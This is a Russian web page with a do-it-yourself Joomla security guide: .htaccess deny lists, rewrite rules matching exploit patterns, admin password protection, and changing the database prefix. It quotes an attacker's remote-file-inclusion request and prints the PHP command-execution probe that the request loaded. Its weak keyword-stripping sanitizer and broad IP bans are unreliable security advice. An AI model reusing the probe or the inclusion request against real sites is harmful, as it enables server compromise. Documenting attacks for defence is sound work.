0+ Материал без явных возрастных ограничений

Видео: «Безопасность сайта»

Безопасность сайта
1x
00:00:00
| xx:xx:xx

Загрузка...

Атака заключалась в следующем: удаленный пользователь пытался внедрить свой код при помощи команды:


Смотрите еще:


GET //components/com_jcalpro/cal_popup.php?mosConfig.absolute.path=http://pasechnic.com/components/com_virtuemart/test.txt??

Так вот сразу подумал о том, что бы забанить милого пользователя по IP! Кстати, его IP 85.214.126.221.

Для того, что бы сконфигурировать собственную безопасность сайта Joomla необходимо знать и действовать в соответствии с минимальными способами (хотя бы) защиты...

Товарищ, ПОМНИ! Прежде чем вносить какие-либо изменения в файлы или базы данных, сохрани заменяемые файлы и таблицы sql!

Так же удиви себя, используя Opera Web Browser и если ты стал WEB-мастером, то пользуйся Internet Explorer только для тестов своих сайтов!!!

Для начала Вам необходимо четко знать какие компоненты, модули и плагины используют кэширование или постоянно обновляют файлы логов или что-то подобное (имеется ввиду изменение файлов в определенной директории). Допустим, у Вас установлен компонент sh404SEF, который хранит логи атак на Ваш сайт в определенной директории /administrator/components/com_sh404sef/logs поэтому устанавливать туда защиту следует следующим образом:

Берем файл .htaccess, открываем его (или создаем новый текстовый документ и открываем с помощью блокнота, при сохранении переименовываем в .htaccess или переименовываем прямо в ftp каталоге) и вписываем следущее:

Deny from all

«Сохраняем его как...» и даем имя .htaccess (с точкой впереди). Notepad++ [ссылка внизу] - программу для перевода текстовых файлов, сохраненных в операционной системе Windows в формат Unix. Открываем программу, выбираем файл и сохраняем его меню>Сохранить. Кидаем файл в нужную директорию (это нужно для того, что бы Ваш сервер не выдавал сообщение об 500 ошибке).

Рекомендую забанить эти милые ip адреса, список которых я насобирал за время жизни сайта:

Order allow,deny 
allow from all
Deny from 85.214.126.221
Deny from 1.9.7.197
Deny from 182.93.220.146
Deny from 77.79.246.80
Deny from 217.26.127.226
Deny from 216.104.160.171
Deny from 95.71.246.100
Deny from 202.65.156.114
Deny from 85.235.154.15
Deny from 96.47.227.5
Deny from 85.235.154.15
Deny from 202.65.156.114
Deny from 69.73.171.218
Deny from 62.193.193.44
Deny from 217.199.168.117
Deny from 211.247.239.217
Deny from 66.7.198.40
Deny from 122.174.47.219
Deny from 91.121.8.126
Deny from 62.149.233.197
Deny from 50.28.7.182
Deny from 85.17.156.20
Deny from 46.163.113.158
Deny from 83.103.59.77
Deny from 210.59.146.252
Deny from 110.45.147.93
Deny from 202.152.216.11
Deny from 95.171.126.17
Deny from 222.122.142.233
Deny from 174.120.145.186
Deny from 50.28.7.182
Deny from 85.17.156.20
Deny from 217.199.168.222
Deny from 46.163.113.158
Deny from 83.103.59.77
Deny from 210.59.146.252
Deny from 90.156.197.110
Deny from 87.226.105.100
Deny from 195.19.204.151
Deny from 91.121.170.124
Deny from 210.127.253.215
Deny from 125.141.204.6
Deny from 218.188.39.33
Deny from 217.29.127.169
Deny from 1.209.46.244
Deny from 213.226.46.5
Deny from 189.76.176.10
Deny from 119.205.214.223
Deny from 200.170.208.109
Deny from 216.224.181.220
Deny from 62.73.1.199
Deny from 187.115.67.70
Deny from 85.10.207.131
Deny from 66.147.244.85
Deny from 74.220.207.69
Deny from 189.19.226.62
Deny from 64.251.27.252
Deny from 66.85.156.78
Deny from 94.32.109.146
Deny from 95.110.177.190
Deny from 222.231.11.103
Deny from 184.107.212.154
Deny from 62.109.133.195
Deny from 217.160.208.119
Deny from 5.39.71.9
Deny from 78.46.93.87
Deny from 46.191.225.
Deny from 94.199.51.7
Deny from 72.55.174.117
Deny from 94.199.51.7
Deny from 81.57.217.41
Deny from 77.81.165.5
Deny from 80.74.
Deny from 199.187.122.210
Deny from 180.149.31.32
Deny from 202.226.
Deny from 202.227.
Deny from 202.228.
Deny from 202.229.
Deny from 65.55.213.72
Deny from 157.54.
Deny from 157.55.
Deny from 157.56.
Deny from 157.57.
Deny from 157.58.
Deny from 157.59.
Deny from 157.60.
Deny from 65.52.
Deny from 65.53.
Deny from 65.54.
Deny from 65.55.
Deny from 220.181.
Deny from 180.76.
Deny from 202.103.133.
Deny from 207.241.224.
Deny from 207.241.225.
Deny from 207.241.226.
Deny from 207.241.227.
Deny from 207.241.228.
Deny from 207.241.229.
Deny from 207.241.230.
Deny from 207.241.231.
Deny from 207.241.232.
Deny from 207.241.233.
Deny from 207.241.234.
Deny from 207.241.235.
Deny from 207.241.236.
Deny from 207.241.237.
Deny from 207.241.238.
Deny from 207.241.239.
Deny from 219.128.
Deny from 219.129.
Deny from 219.130.
Deny from 219.131.
Deny from 219.132.
Deny from 219.133.
Deny from 219.134.
Deny from 219.135.
Deny from 219.136.
Deny from 219.137.

Как обезопасить весь свой сайт на CMS Joomla?

Для этого нам требуется вышеупомянутая программа notepad++. Создание текстового документа с названием .htaccess и последующее его использование вышеуказанным способом.

Если Вы еще не переименовали свой Jooml'овский файл htaccess.txt в .htaccess, то сделайте это! Проверьте работоспособность сайта! И помните, что этот файл нужен не только для ЧПУ/SEF, а также для безопасности.

Уберем из файла robots.txt, который храниться в корне каталога Вашего сайта Joomla все строки, так как именно с помощью каталогов, имена которых написаны в этой текстовом файле злоумышленник может определить CMS Вашего сайта. А сам файл robots.txt большинство продвинутых (типа гугла) ботов давно уже научились игнорировать. Оставить в файле robots.txt можно следующие строки:

User-agent: *
allow: /images/
allow: /

User-agent: Googlebot-Image
Allow: /images/
Allow: /

Sitemap: http://ваш-сайт.org/sitemap.xml

Если Вы используете Joomla 1.5.x и Ваш ID суперадминистратора есть 62 - то это не хорошо! Так как атакующие пытаются узнать имя/пароль пользователя с ID 62. Варианты: если Вы хотите, что бы Ваши статьи, которые Вы создали до того, как прочитали эту статью, оставались от имени пользователя под ID 62 (суперадминистратор по умолчанию после установки Joomla 1.5.x), то создайте нового пользователя, с хорошим паролем, дайте ему права суперадминистратора, а у пользователя с ID 62 - заберите (поставьте ему «Автор»). При публикации статьи, как суперадмин, с другой учетки (с ID НЕ 62) выбирайте автора статьи с ID 62. В этом случае пользователь будет простым Автором, без доступа в админцентр, а статьи будут от его имени, что снизит вероятность угона учетки со злосчастным ID 62.

Запрет на запись тех папок (директорий - папок, которые содержат под-каталоги и/или файлы), которые Вы определили (которые не имеют постоянно обновляемых системой или пользователями файлов). Например, можно поставить права 444 (используя Filezilla и меню Безопасность сайта Joomla. Обнаружил атаку на свой сайт) на index.php, index2.php, index3.php Вашего сайта как в корне / , так и в /administrator/.

В обновлении Joomla 1.5.23 я обнаружил интересную вещь. Ребята додумались запретить доступ ко всем файлам .xml, так как они используются только системой и никак не влияют на её работоспособность. Однако, они не учли, что если мы раскомментируем строки, которые они нам предложили и положим этот файл в корневую директорию Joomla, то наш файл sitemap.xml так же будет недоступен для поисковых роботов, что крайне не приемлимо, так как они та нам как раз и нужны и в большом количестве, для индексации страниц нашего сайта. А файл sitemap.xml как раз содержит информацию о том, какие страницы на сайте у нас существуют. Поэтому можно сделать следующее:

Создаем новый .htaccess (или открываем имеющийся в корневом каталоге Вашего Joomla сайта), вписываем в него следующее:
<Files ~ "\.xml$">
Order allow,deny
Deny from all
Satisfy all
</Files>

Блокируем доступ к файлу configuration.php

<Files configuration.php>
order deny,allow
deny from all
</Files>

Для того, что бы злоумышленник не смог ничего сделать с файлами, хранящимися в папке /administrator и тем более не смог войти в административный раздел, нам требуется:

либо разрешить вход в этот каталог только для своего IP ареса:

Order deny,allow
Deny from all
allow from 127.0.0.1-ваш ip

либо поставить на него пароль:

1. AuthName ProtectedZone
Вместо ProtectedZone можно написать все, что угодно. Это название защищенной области, оно будет показываться в браузере при запросе пароля, являясь по сути дела подсказкой пользователю. Если Вы хотите использовать русские буквы или же более одного слова, необходимо использовать кавычки.
Пример: AuthName "Введите пароль для входа"

2. AuthType Basic
Это метод шифрования пароля. Практически всегда используется именно данный вид шифрования.
Пример: AuthType Basic

3. AuthUserFile /полный_путь_к_файлу/.htpasswd
Это путь к файлу, в котором будут храниться логины и пароли. Он может иметь практически любое имя и располагаться в любом каталоге, главное, чтобы web-сервер мог его прочитать, что требует установки соответствующих прав доступа к этому файлу (на нашем сервере - 644). Однако, традиционно такие файлы называют .htpasswd.
Пример: AuthUserFile /home/test/www/site1/public_html/.htpasswd

4. require valid-user
Эта строка говорит о том, что доступ в защищенную директорию будет разрешен всем пользователям, чьи логины и пароли есть в файле .htpasswd. Если нужно дать доступ конкретным пользователям, то тогда указывается require user логины_пользователей_через_пробел.
Пример: require user vasya kolya petya
Пример: require valid-user

Создаем два файла один .htaccess, второй - .htpasswd, указываем в первом:

AuthType Basic 
AuthName "Private zone. Only for registered users!"
AuthUserFile /home/www/site/admin/.htpasswd
require valid-user
<Files .htpasswd>
deny from all
</Files>

во втором - нужный логин и через двоеточие пароль в формате MD5 (или в другом, в зависимости от Вашего сервера)

Например:

user:e3f901b94f59610738c

либо разрешить доступ только определенной группе пользователей с авторизацией (см. пункт выше):

AuthType Basic 
AuthName "Protected realm"
AuthUserFile /home/localhost/.htpasswd
AuthGroupFile /home/localhost/group
Require valid-user
Require group Group1

, где Group1 - имя Вашей группы пользователей.

Если к какому-либо каталогу требуется дать доступ большому количеству человек, то необходимо распределить их по группам, например: Пользователи, Личности, Модераторы.

Group1: user1 user2 user3 
Group2: user1 user2 user3

, где Group№ - это название группы, а user№ - имя пользователя соответственно. Далее можно применять команду Require, которая определяет пользователей или группу, которым разрешён вход в защищённую зону. Опция valid-user разрешает доступ всем, кто в списке auth-файла. Если необходимо сделать доступ только некоторым пользователям из списка, пропишите такую строку:

Require user test1 test2

, где test1 test2 и т.д. - имена разрешённых пользователей. С группами поступать также. Файл .htaccess нужно помещать в ту директорию, к которой планируется защита. Если такой файл существует, то добавьте в него нужные директивы аутентификации.
Аутентификационный файл .htpasswd
Путь к нему показывает директива AuthUserFile . Разместив файл .htpasswd выше корня сайта нужно в каталоге, где расположен файл с паролями добавить в файл .htaccess такие строки

<Files .htpasswd> 
deny from all
</Files>

Тут команда deny from all запрещает доступ к файлу .htpasswd , тэги определяют область действия директивы. Файл паролей должен иметь такой вид:

user:password  (в форме MD5 или другой (в зависимости от Вашего сервера))

userN:password (в форме MD5 или другой (в зависимости от Вашего сервера))
Можно создать в любом текстовом редакторе. Имя может быть любое но желательно всё таки делать .htpasswd потому что сервер Apache в файле httpd.conf изначально защищает файлы у которых начало .ht от просмотра.

Желательно ещё зашифровать пароли и логины в MD5 - хэше (или другом (в зависимости от Вашего сервера)) . Поскольку хранить их в исходном виде на сервере, к которому есть доступ ещё нескольких человек не благоразумно.

Обычно всё это предоставляет хостер и в панели администрирования есть функции защиты доступа к директориям.

ВНИМАНИЕ! Не переходите в панель администратора Вашего Joomla сайта с других ресурсов. Например, если Вы сидите на сайте http://site.lol, и вводите в адресной строке http://вашсайт.рф/administrator. Помните! Что на сайте http://site.lol (к примеру) может идти отслеживание Ваших переходов!

Измените установленный по умолчанию префикс (jos_) к таблицам в базе данных
Большинство SQL инъекций, которые написаны для взлома сайтов на Joomla! пытаются получить данные из таблицы jos_users. Таким образом, они могут получить имя пользователя и пароль для супер администратора сайта. Изменение стандартного префикса оградит вас от (большинства / всех) SQL инъекций.
Вы можете задать префикс базы данных при установке Joomla! Если вы уже установили и хотите изменить свой префикс, выполните следующие действия:
• Войдите в панель управления Joomla!
• Зайдите в «Общие настройки»->«Сервер» и найдите панель «Установки базы данных».
• Там измените ваш префикс на любой произвольный (например: sqw123_) и нажмите кнопку Сохранить
*Когда вы это сделаете, сайт на время выйдет и строя, но следующее действие исправит это.
• Зайдите в PhpMyAdmin для доступа к базе данных.
• Перейдите на вкладку экспорт, оставьте все значения по умолчанию и нажмите кнопку «Пуск/Пошел» или «Ok». Экспорт данных может занять некоторое время. Лучше всего будет сохранить файл в формате .sql, для этого нажмите флажок возле Сохранить как файл. Желательно также сохранить несколько раз, давая разные имена файлов (а на заменяя их, например base_name.sql, base_name2.sql), так как бывает всякое и ошибка при сохранении, и недокачка. Проверьте файл, который сохранили в формате .sql!!!

  • Безопасность сайта Joomla. Обнаружил атаку на свой сайт
    • Когда все будет сделано, выделите весь код и скопируйте его в блокнот (или любой другой текстовый редактор), на всякий случай сохраните файл.
    • В PhpMyAdmin выберите все таблицы, и удалите их. Обязательно убедитесь, что вы сохранили экспортированный до этого код, иначе потеряете данные сайта!
    • В редакторе, выполните поиск и замену (как правило, Ctrl + H). Сделайте поиск по jos_ и измените его на ваш новый префикс (например: sqw_). Нажмите «Заменить все».
    • Выберите все в редакторе и скопируйте. В PhpMyAdmin, перейдите на SQL, вставьте запросы (то, что вы скопировали в редакторе) и нажмите кнопку Пуск.
  • Так же можно сделать красивую переадресацию на главную страницу сайта, в случае ошибки 400,401,403,404,500 и других с помощью скрипта:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Перенаправление</title>
<script language="JavaScript">
var seconds=10;
remain();
function remain(){
seconds--;
document.timer.clock.value=seconds;
if(seconds>0)
{window.setTimeout('remain()',1000)}
else
{
location.replace("index.php");}
}

</script>
</head>

<body onLoad="remain()">
<p>Запрашиваемый Вами файл не найден. Попробуйте поискать его на главной странице сайта.</p>
<p><a href="/index.php">Главная страница сайта _ВАШ САЙТ_</a></p>
<p>Через 10секунд переход произойдет автоматически.</p>
<form action="" method="get" name="timer">
Вы будете перенаправлены на главную страницу сайта через
<input name="clock" type="text" size=2>
секунд
</form>

</body>
</html>

Опять же открываем новый текстовый документ, копируем туда этот код, вставляем название своего сайта (если нужно), сохраняем его с названием 400.shtml, заменяем файл400.shtml в основной директории Вашего Joomla сайта на вновь созданный, то же нужно проделать со всеми остальными, имеющими расширение .shtml.

И сохраняем (ну Вы поняли как^?^). Это не даст злоумышленнику просмотреть все .xml файлы в директориях, в которых будет расположен .htaccess файл с таким кодом. А директории, в которые мы копируем это файл следующие: administrator, cache, components, includes, language (на всякий случай), libraries, logs, modules, plugins, templates, tmp (на всякий случай), xmlrpc и в другие (созданные лично Вами и имеющие файлы .xml) (ВНИМАНИЕ! В КОРЕНЬ Вашего САЙТА его НЕ копируем)

Баним пользователя по IP

Order allow,deny 
allow from all
Deny from 85.214.126.221

Выставляем права на файлы htaccess 444 (только чтение)

Стандартный Joomla'вский файл .htaccess, рекомендую использовать:

## Deny access to extension xml files (uncomment out to activate)
## End of deny access to extension xml files
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode data within the URL
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
########## End - Rewrite rules to block out some common exploits

########## Begin - Joomla! core SEF Section
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for root, or for an extensionless URL, or the
# requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} (/[^.]*|\.(php|html?|feed|pdf|raw))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
########## End - Joomla! core SEF Section

Более детальное использование файла .htaccess Вы можете найти в гугле. Нет смысла все снова передирать сюда.

Внимание! За все, что Вы делаете, отвечаете только Вы! Проверяйте все изменения, которые Вы вносите! Делайте копии того, что изменяете! За Ваши действия автор статьи не несет ответственности, к чему бы они не привели.

Содержимое файла http://pasechnic.com/components/com_virtuemart/test.txt:

<html><head><title>/\/\/\ Response CMD /\/\/\</title></head><body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;

PHP функции, которые чистят код:

//clear array code
function challsrt($data){
$array1 = array (
"base64",
"<script",
"where",
"mysql",
"unit");
return str_ireplace($array1, " -DEL- ", $data);
}
//clear html code
function clearcode($data2){
$data2 = htmlspecialchars($data2, ENT_QUOTES);
$data2 = strip_tags($data2);
return $data2;
}

вызвать функцию:

challsrt($data_txt); //$data_txt - это переменная, которая может содержать различный текст, вводимый пользователем. Например, $data_txt = '<p>Здесь текст</p>, а тут хакер ввел код <script src="/..."></script>';

Поделитесь в социльных сетях:

Информация:

Категория:
Web
Просмотров:
1114
Размер:
76 MB

Файл видео:

1. Скачать видео «Безопасность сайта»
mp476 MB
Загрузка...


Случайный материал: Еще

Absolute Uninstaller
Подробнее
0+

Absolute Uninstaller отвечает на вопрос: «Как удалить программу?».


Последние 5 материалов:

Раскрыть все
Fl Studio 12 с нуля и до эксперта
0+
Fl Studio 12 с нуля и до эксперта
Подробнее

Fl Studio 12 с нуля и до эксперта – видео курс по созданию и редактированию музыки в программе FL Studio. Вы узнаете о всех возможностях программы, а также полноценно использовать инструмент секвенсора. Информация преподносится с использованием примеров и в удобном для понимания виде.

FL Studio
0+
FL Studio
Подробнее

Image-Line FL Studio Producer Edition – профессиональная программа для создания и редактирования музыки для студий звукозаписи. Её используют, как новички, так и профессионалы.

Cubase SX
0+
Cubase SX
Подробнее

Cubase SX – программа для создания музыки. С её помощью Вы сможете создавать полноценные профессиональные мелодии, композиции, пени, записывать чистый звук с микрофона, редактировать записанный с микрофона голос, убирать шумы, добавлять разные эффекты к голосу.

Изучаем Cubase SX
0+
Изучаем Cubase SX
Подробнее

Cubase SX – это программа для создания музыки. Вы сможете с помощью неё с нуля создавать полноценные песни, мелодии. А данный видео курс поможет правильно и в полном объеме использовать все необходимые и доступные в данной программе возможности.

SpyHunter
0+
SpyHunter
Подробнее

SpyHunter – программа, которая поможет избавиться от навязчивой рекламы на рабочем столе и в браузерах (интернет-обозревателях).


Следите за обновлениями VK:

Добавить комментарий

Комментариев пока нет